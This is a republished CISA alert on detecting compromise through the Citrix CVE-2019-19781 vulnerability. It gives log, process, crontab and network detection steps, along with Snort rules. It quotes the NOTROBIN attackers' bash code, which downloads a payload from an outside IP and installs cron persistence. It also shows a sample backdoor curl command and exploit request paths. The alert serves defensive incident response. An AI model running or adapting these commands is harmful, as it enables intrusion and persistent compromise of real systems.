US-CERT- AA20-031A: Detecting Citrix CVE-2019-19781

Netwörkheäd · May 24, 2020, 06:10:35 AM

AA20-031A: Detecting Citrix CVE-2019-19781

Original release date: January 31, 2020 | Last revised: May 21, 2020<br/><h3>Summary</h3><p>Unknown cyber network exploitation (CNE) actors have successfully compromised numerous organizations that employed vulnerable Citrix devices through a critical vulnerability known as CVE-2019-19781.<a href="https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/">[1]</a></p>

<p>Though mitigations were released on the same day Citrix announced CVE-2019-19781, organizations that did not appropriately apply the mitigations were likely to be targeted once exploit code began circulating on the internet a few weeks later.</p>

<p>Compromised systems cannot be remediated by applying software patches that were released to fix the vulnerability. Once CNE actors establish a foothold on an affected device, their presence remains even though the original attack vector has been closed.</p>

<p>The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Alert to provide tools and technologies to assist with detecting the presence of these CNE actors. Unpatched systems and systems compromised before the updates were applied remain susceptible to exploitation.</p>

<p>Contact <a href="https://www.us-cert.gov/report">CISA</a>, or the <a href="https://www.fbi.gov/contact-us/field-offices/field-offices">FBI</a> to report an intrusion or to request assistance.</p>

<p> </p>
<h3>Technical Details</h3><h2>Detection</h2>

<p>CISA has developed the following procedures for detecting a CVE-2019-19781 compromise. </p>

<h4>HTTP Access and Error Log Review</h4>

<p><strong>Context:</strong> Host Hunt</p>

<p><strong>Type:</strong> Methodology</p>

<p>The impacted Citrix products utilize Apache for web server software, and as a result, HTTP access and error logs should be available on the system for review in <code>/var/log</code>. Log files <code>httpaccess.log</code> and <code>httperror.log</code> should both be reviewed for the following Uniform Resource Identifiers (URIs), found in the proof of concept exploit that was released.</p>

<ul>
<li><code>'*/../vpns/*'</code></li>
<li><code>'*/vpns/cfg/smb.conf'</code></li>
<li><code>'*/vpns/portal/scripts/newbm.pl*'</code></li>
<li><code>'*/vpns/portal/scripts/rmbm.pl*'</code></li>
<li><code>'*/vpns/portal/scripts/picktheme.pl*'</code></li>
</ul>

<p>Note: These URIs were observed in Security Information and Event Management detection content provided by <a href="https://github.com/Neo23x0/sigma/blob/master/rules/web/web_citrix_cve_2019_19781_exploit.yml">https://github.com/Neo23x0/sigma/blob/master/rules/web/web_citrix_cve_2019_19781_exploit.yml</a>.<a href="https://github.com/Neo23x0/sigma/blob/master/rules/web/web_citrix_cve_2019_19781_exploit.yml">[2]</a></p>

<p>Per TrustedSec, a sign of successful exploitation would be a <code>POST</code> request to a URI containing <code>/../</code> or <code>/vpn</code>, followed by a GET request to an XML file. If any exploitation activity exists—attempted or successful—analysts should be able to identify the attacking Internet Protocol address(es). Tyler Hudak's blog provided sample logs indicating what a successful attack would look like.<a href="https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/">[3]</a></p>

<div class="special_container"><code>10.1.1.1 - - [10/Jan/2020:13:23:51 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 143 "https://10.1.1.2/" "USERAGENT "</code></div>

<div class="special_container"><code>10.1.1.1 - - [10/Jan/2020:13:23:53 +0000] "GET /vpn/../vpns/portal/backdoor.xml HTTP/1.1" 200 941 "-" "USERAGENT"</code></div>

<p>Additionally, FireEye provided the following <code>grep</code> commands to assist with log review and help to identify suspicious activity.<a href="https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html">[4]</a></p>

<div class="special_container"><code>grep -iE 'POST.*\.pl HTTP/1\.1\" 200 ' /var/log/httpaccess.log -A 1</code></div>

<div class="special_container"><code>grep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log -B 1</code></div>

<h4>Running Processes Review</h4>

<p><strong>Context:</strong> Host Hunt</p>

<p><strong>Type:</strong> Methodology</p>

<p>Reviewing the running processes on a system suspected of compromise for processes running under the <code>nobody </code>user can identify potential backdoors.</p>

<div class="special_container"><code>ps auxd | grep nobody</code></div>

<p>Analysts should review the <code>ps</code> output for suspicious entries such as this:</p>

<div class="special_container"><code>nobody    63390  0.0  0.0  8320    16  ??  I     1:35PM   0:00.00 | | `– sh -c uname &amp; curl -o – http://10.1.1.2/backdoor</code></div>

<p>Further pivoting can be completed using the Process ID from the PS output:</p>

<div class="special_container"><code>lsof -p <pid></code></div>

<p>Due to the nature of this exploit, it is likely that any processes related to a backdoor would be running under the <code>httpd</code> process.</p>

<h3>Checking for NOTROBIN Presence</h3>

<p><strong>Context: </strong>Host Hunt</p>

<p><strong>Type:</strong> Methodology</p>

<div class="special_container"><code>pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k</code></div>

<div class="special_container"><br />
<code>hxxps://95.179.163[.]186/wp-content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o</code></div>

<div class="special_container"><br />
<code>/tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * *</code></div>

<div class="special_container"><br />
<code>/var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"</code></div>

<p>The above is the NOTROBIN Bash exploit code. To check for NOTROBIN Presence, analysts should look for the staging directory at <code>/tmp/.init</code> as well as <code>httpd</code> processes running as a cron job.</p>

<p>Running the command <code><tt>find / -name ".init" 2> /tmp/error.log</tt></code> should return the path to the created staging directory while taking all of the errors and creating a file located at <code><tt>/tmp/error.log</tt></code>.</p>

<h3>Additional /var/log Review</h3>

<p><strong>Context:</strong> Host Hunt</p>

<p><strong>Type:</strong> Methodology</p>

<p>Analysts should focus on reviewing the following logs in <code>/var/log</code> on the Citrix device, if available. The underlying operating system is based on FreeBSD, and the logs are similar to what would be found on a Linux system. Analysts should focus on log entries related to the <code>nobody</code> user or <code>(null) on</code> and should try to identify any suspicious commands that may have been run, such as <code>whoami</code> or <code>curl</code>. Please keep in mind that logs are rotated and compressed, and additional activity may be found in the archives (.gz files) for each log.</p>

<p><strong>bash.log</strong></p>

<p>Sample Log Entry:</p>

<div class="special_container"><code>Jan 10 13:35:47</code></div>

<div class="special_container"><br />
<code><local7.notice> ns bash[63394]: nobody on /dev/pts/3</code></div>

<div class="special_container"><br />
<code>shell_command="hostname"</code></div>

<p>Note: The bash log can provide the user (<code>nobody</code>), command (<code>hostname</code>), and process id (<code>63394</code>) related to the nefarious activity.</p>

<p><strong>sh.log</strong></p>

<p><strong>notice.log</strong></p>

<h3>Check Crontab for Persistence</h3>

<p><strong>Context:</strong> Host Hunt</p>

<p><strong>Type: </strong>Methodology</p>

<p>As with running processes and log entries, any cron jobs created by the user <code>nobody</code> are a cause for concern and likely related to a persistence mechanism established by an attacker. Additionally, search for a <code>httpd</code> process within the crontab to determine if a system has been affected by NOTROBIN. Analysts can review entries on a live system using the following command:</p>

<div class="special_container"><code>crontab -l -u nobody</code></div>

<h3>Existence of Unusual Files</h3>

<p><strong>Context:</strong> Host Hunt</p>

<p><strong>Type:</strong> Methodology</p>

<p>Open-source outlets have reported that during incident response activities, attackers exploiting this vulnerability have been placing malicious files in the following directories. Analysts should review file listings for these directories and determine if any suspicious files are present on the server.</p>

<ul>
<li><code>/netscaler/portal/templates</code></li>
<li><code>/var/tmp/netscaler/portal/templates</code></li>
</ul>

<h3>Snort Alerts</h3>

<p><strong>Context: </strong>Network Alert</p>

<p><strong>Type: </strong>Signatures</p>

<p>Although most activity related to exploitation of the Citrix vulnerability would use SSL, FireEye noted that an HTTP scanner is available to check for the vulnerability. The following Snort rules were provided in FireEye's blog post and would likely indicate a vulnerable Citrix server.[5] These rules should be tuned for the environment and restricted to the IP addresses of the Citrix server(s) to reduce potential false positives.</p>

<div class="special_container"><code>alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential CVE-2019-19781 vulnerable .CONF response"; flow:established,to_client; content:"HTTP/1."; depth:7; content:"200 OK"; distance:1; content:"|0d0a|Server: Apache"; distance:0; content:"al]|0d0a|"; distance:0; content:"encrypt passwords"; distance:0; content:"name resolve order"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;)</code></div>

<div class="special_container"> </div>

<div class="special_container"><code>alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential CVE-2019-19781 vulnerable .PL response"; flow:established,to_client; content:"HTTP/1."; depth:7;</code></div>

<div class="special_container"> </div>

<div class="special_container"><code>content:"200 OK"; distance:1; content:"|0d0a|Server: Apache"; distance:0; </code></div>

<div class="special_container"><code>content:"|0d0a|Connection: Keep-Alive"; </code></div>

<div class="special_container"><code>content:"|0d0a0d0a3c48544d4c3e0a3c424f44593e0a3c534352495054206c616e67756167653d6</code></div>

<div class="special_container"> </div>

<div class="special_container"><code>a61766173637269707420747970653d746578742f6a6176617363726970743e0a2f2f706172656e74</code></div>

<div class="special_container"> </div>

<div class="special_container"><code>2e77696e646f772e6e735f72656c6f616428293b0a77696e646f772e636c6f736528293b0a3c2f534</code></div>

<div class="special_container"> </div>

<div class="special_container"><code>3524950543e0a3c2f424f44593e0a3c2f48544d4c3e0a|"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;)</code></div>

<h3>Suspicious Network Traffic</h3>

<p><strong>Context:</strong> Network Hunt</p>

<p><strong>Type: </strong>Methodology</p>

<p>From a network perspective, this vulnerability will likely not be detectable, given that the traffic will likely be encrypted (SSL). Additionally, due to where they sit on networks, devices such as these are typically not covered in traditional network monitoring and ingress traffic to the device may not be part of a normal SPAN port configuration. In the event network monitoring is available and attackers are using HTTP versions of this exploit, CISA recommends looking for URIs containing <code>/../</code> or <code>/vpns/</code> to identify potentially malicious activity. It is also worth surveying the traffic for any requests to .xml files or perl (.pl) files as well, as this would not be consistent with normal Citrix web activity. As with the web logs, analysts would be looking for a successful <code>POST</code> request followed by a successful <code>GET</code> request with the aforementioned characteristics.</p>

<p>Given that a compromise occurred, activity to look for would be outbound traffic from the Citrix server, both to internal and external hosts. In theory, if an attacker placed a backdoor on the system, it should be connecting outbound to a command and control server. This traffic would most likely be anomalous (outbound TCP Port 80 or 443), given that one would only expect to see inbound TCP/443 traffic to the Citrix server as normal activity. If an attacker is leveraging a Citrix device as an entry point to an organization, anomalous internal traffic could potentially be visible in bro data such as scanning, file transfers, or lateral movement. An exception to internal traffic is that the Citrix ADC device is much more than just an SSL VPN device and is used for multiple types of load balancing. As a result, an ADC device may be communicating with internal systems legitimately (web servers, file servers, custom applications, etc.).</p>

<p><strong>Inbound Exploitation Activity (Suspicious URIs)</strong></p>

<div class="special_container"><code>index=bro dest=<CITRIX_IP_ADDR> sourcetype=bro_http uri=*/../* OR uri=*/vpn* OR uri=*.pl OR uri=*.xml</code></div>

<p><strong>Outbound Traffic Search (Backdoor C2)</strong></p>

<div class="special_container"><code>index=bro sourcetype=bro_conn src=<CITRIX_IP_ADDR> dest!=<INTERNAL_NET></code></div>

<div class="special_container"><br />
<code>| stats count by src dest dest_port</code></div>

<div class="special_container"><br />
<code>| sort -count</code></div>

<p>The following resources provide additional detection measures.</p>

<ul>
<li>Citrix and FireEye Mandiant released an IOC scanning tool for CVE-2019-19781.<a href="https://github.com/citrix/ioc-scanner-CVE-2019-19781/">[6]</a> The tool aids customers with detecting potential IOCs based on known attacks and exploits.</li>
<li>The National Security Agency released a Cybersecurity Advisory on CVE-2019-19781 with additional detection measures.<a href="https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA%20FOR%20CITRIXADCANDCITRIXGATEWAY_20200109.PDF">[7]</a></li>
<li>CISA released a utility that enables users and administrators to detect whether their Citrix ADC and Citrix Gateway firmware is susceptible to CVE-2019-19781.<a href="https://github.com/cisagov/check-cve-2019-19781">[8]</a></li>
</ul>

<h2>Impact</h2>

<p>CVE-2019-19781 is an arbitrary code execution vulnerability that has been detected in exploits in the wild. An attacker can exploit this vulnerability to take control of an affected system.</p>

<p>The vulnerability affects the following appliances:</p>

<ul>
<li>Citrix NetScaler ADC and NetScaler Gateway version 10.5 – all supported builds before 10.5.70.12</li>
<li>Citrix ADC and NetScaler Gateway version 11.1 – all supported builds before 11.1.63.15</li>
<li>Citrix ADC and NetScaler Gateway version 12.0 – all supported builds before 12.0.63.13</li>
<li>Citrix ADC and NetScaler Gateway version 12.1 – all supported builds before 12.1.55.18</li>
<li>Citrix ADC and Citrix Gateway version 13.0 – all supported builds before 13.0.47.24</li>
<li>Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO – all supported software release builds before 10.2.6b and 11.0.3b. (Citrix SD-WAN WANOP is vulnerable because it packages Citrix ADC as a load balancer).</li>
</ul>
<h3>Mitigations</h3><p>The resources provided include steps for standalone, HA pairs, and clustered Citrix instances.</p>

<ul>
<li>Use Citrix's tool to check for the vulnerability.
<ul>
<li style="list-style-type: none;"><span style="font-style: normal;"><span style="font-weight: normal;"><a href="https://support.citrix.com/article/CTX269180"><font color="#0000ff">https://support.citrix.com/article/CTX269180</font></a></span></span></li>
</ul>
</li>
<li>Use an open-source utility to check for the vulnerability or previous device compromise.
<ul>
<li><span style="font-style: normal;"><span style="font-weight: normal;"><span style="page-break-after: avoid;"><a href="https://github.com/cisagov/check-cve-2019-19781"><font color="#0000ff">https://github.com/cisagov/check-cve-2019-19781</font></a><span style="color: black;"><u> </u></span></span></span></span></li>
<li><a href="https://github.com/x1sec/citrixmash_scanner">https://github.com/x1sec/citrixmash_scanner</a></li>
<li><a href="https://github.com/fireeye/ioc-scanner-CVE-2019-19781/releases/tag/v1.2">https://github.com/fireeye/ioc-scanner-CVE-2019-19781/releases/tag/v1.2</a></li>
</ul>
</li>
<li>Follow instructions from Citrix to mitigate the vulnerability.
<ul>
<li><a href="https://support.citrix.com/article/CTX267679">https://support.citrix.com/article/CTX267679</a></li>
<li><a href="https://support.citrix.com/article/CTX267027">https://support.citrix.com/article/CTX267027</a></li>
</ul>
</li>
<li>Upgrade firmware to a patched version.
<ul>
<li>Subscribe to Citrix Alerts for firmware updates.
<ul>
<li><a href="https://support.citrix.com/user/alerts">https://support.citrix.com/user/alerts</a> </li>
</ul>
</li>
<li>Patch devices to the most current version.
<ul>
<li><a href="https://www.citrix.com/downloads/citrix-gateway/">https://www.citrix.com/downloads/citrix-gateway/</a></li>
<li><a href="https://www.citrix.com/downloads/citrix-adc/">https://www.citrix.com/downloads/citrix-adc/</a></li>
<li><a href="https://www.citrix.com/downloads/citrix-sd-wan/">https://www.citrix.com/downloads/citrix-sd-wan/</a></li>
</ul>
</li>
</ul>
</li>
</ul>

<p>Consider deploying a VPN capability using standardized protocols, preferably ones listed on the National Information Assurance Partnership (NIAP) Product Compliant List (PCL), in front of publicly accessible gateway appliances to require user authentication for the VPN before being able to reach these appliances.</p>

<p>CISA's Tip <a href="https://www.us-cert.gov/ncas/tips/ST13-003">Handling Destructive Malware</a> provides additional information, including best practices and incident response strategies.</p>
<h3>References</h3>
<ul> <li><a href="https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/">[1] Citrix blog: Citrix releases final fixes for CVE-2019-19781</a></li> <li><a href="https://github.com/Neo23x0/sigma/blob/master/rules/web/web_citrix_cve_2019_19781_exploit.yml">[2] GitHub web_citrix_cve_2019_19781_exploit.yml </a></li> <li><a href="https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/">[3] TrustedSec blog: NetScaler Remote Code Execution Forensics</a></li> <li><a href="https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html">[4] FireEye blog: Rough Patch: I Promise It'll Be 200 OK (Citrix ADC CVE-2019-19781)</a></li> <li><a href="https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html">[5] FireEye blog: Rough Patch: I Promise It'll Be 200 OK (Citrix ADC CVE-2019-19781)</a></li> <li><a href="https://github.com/citrix/ioc-scanner-CVE-2019-19781/">[6] IOC scanning tool for CVE-2019-19781</a></li> <li><a href="https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA%20FOR%20CITRIXADCANDCITRIXGATEWAY_20200109.PDF">[7] NSA Cybersecurity Advisory: Mitigate CVE-2019-19781: Critical Vulnerability</a></li> <li><a href="https://github.com/cisagov/check-cve-2019-19781">[8] CISA Vulnerability Test Tool</a></li> </ul> <h3>Revisions</h3>
<ul> <li>January 31, 2020: Initial Version</li> <li>February 7, 2020: Added link to the Australian Cyber Security Centre script </li> </ul>
<hr />
<div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p class="privacy-and-terms">This product is provided subject to this <a href="https://www.us-cert.gov/privacy/notification">Notification</a> and this <a href="https://www.dhs.gov/privacy-policy">Privacy & Use</a> policy.</p>

</div>
Source: AA20-031A: Detecting Citrix CVE-2019-19781

US-CERT- AA20-031A: Detecting Citrix CVE-2019-19781

Netwörkheäd